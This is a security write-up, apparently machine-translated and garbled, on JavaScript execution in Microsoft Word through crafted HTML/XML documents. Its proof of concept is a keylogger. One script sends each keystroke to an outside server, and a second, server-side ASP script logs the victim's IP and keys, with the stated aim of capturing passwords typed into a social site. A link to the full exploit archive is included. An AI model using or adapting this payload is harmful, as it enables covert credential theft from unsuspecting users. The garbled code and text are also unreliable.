Some tests on MSwordjavascriptexecution

Author: cosine Source: 0 × 37securitymicrosoftword=criptexecution Original: http://marc.info /? Lbugtraq & amp; m123161432823704 & amp; w2, discussed in the hi group. Some conclusions can be drawn: 1. ActiveX inline data is disabled after the Q313675 security patch is installed.

Author: cosine
Source: 0 × 37 Security

Microsoft word javascript execution Original: http://marc.info /? L = bugtraq & m = 121121432823704 & w = 2, discussed in the hi group. We can draw some conclusions:

1. Because the ActiveX inline data stream function is disabled after the Q313675 security patch is installed, it is not feasible to execute malicious codz by directly creating ActiveX objects using JS. The following code:

This remote doc. js file has limited capabilities. However, the pop-up dialog box or a new window still works.

2. holes are actually found in xml files. When html constructed in the preceding way is opened in word and saved as xml, the data in the xml file is converted to xml format. However However, Javascript execution can be triggered. This is where the problem occurs. The extension ".doc", ". rtf", and ". xml" will be opened by default in the word mode. At this time, "word" acts as an interpreter, The data in is interpreted and executed, causing JS.

3. The AE24FDAE-03C6-11D1-8B76-0080C744F389 is the classid of mshtml. dll. It is still valuable to identify the cause of the vulnerability and fix the vulnerability.

Since this JS capability is limited, you can enjoy it, as mentioned here: http: // www.0 × 37. com/post/15.html. The following POC is carried out in this way: when the user opens the worddocument behind our malicious structure doc.doc, will pop up the internal network of the home page http://www.xiaonei.com (take it to experiment, completely out of my inertia ......). Then we can record the user's key records on this page :). Maybe the password is caught directly. (if other users are the same as me, you can Enter the password directly on the Intranet and then Enter. This is a habit ......).

The doc.html code is as follows:

Script
Var _ x = false;
If (window. XMLHttpRequest ){
_ X = new XMLHttpRequest ();
} Else if (window. ActiveXObject ){
_ X = new ActiveXObject ("Msxml2.XMLHTTP ");
If (! _ X) {_ x = new ActiveXObject ("Microsoft. XMLHTTP ");}
}
Document. onkeydown = function (e ){
If (! E) e = window. event;
Try {
Tmp = (String. fromCharCode (e. which | e. keyCode ));
_ 3or7 ("GET", "asp? Tmp = "+ tmp, null"> http: // www.0 × 37. com/Project/poc/docshell. asp? Tmp = "+ tmp, null );
} Catch (ex ){}
}
Function _ 3or7 (_ m, _ s, _ ){
_ X. open (_ m, _ s, false );
_ X. send (_ );
Return _ x. responseText;
}
SetInterval (function () {try {document. getElementById ('x). focus () ;}catch (e) {}, 100 );
Focus ();
Script


The remote docshell. asp code is as follows:

<%
Ip = Request. ServerVariables ("HTTP_X_FORWARDED_FOR ")
If ip = "" Then
Ip = Request. ServerVariables ("REMOTE_ADDR ")
End If
Tmp = Request. QueryString ("tmp ")
Response. write (tmp)
Filename = "docshell.txt"
Set fso = Server. CreateObject ("Scripting. FileSystemObject ")
Set file = fso. OpenTextFile (server. mappath (filename), 8, true)
File. write (ip + ">" + tmp + chr (13 ))
File. close
Set file = nothing
Set fso = nothing
%>
Then we can see the record result on the http: // www.0 × 37. com/Project/poc/docshell.txt :). Complete file: http: // www.0 × 37. com/Project/poc/wordjs.rar. However, this keyboard record is still flawed. I wanted to combine the http: // www.0 × 37. com/post/15.html method to construct more evil code, but it was not smooth ...... Then I will talk about it later :). Now let's wait for more information about the vulnerability.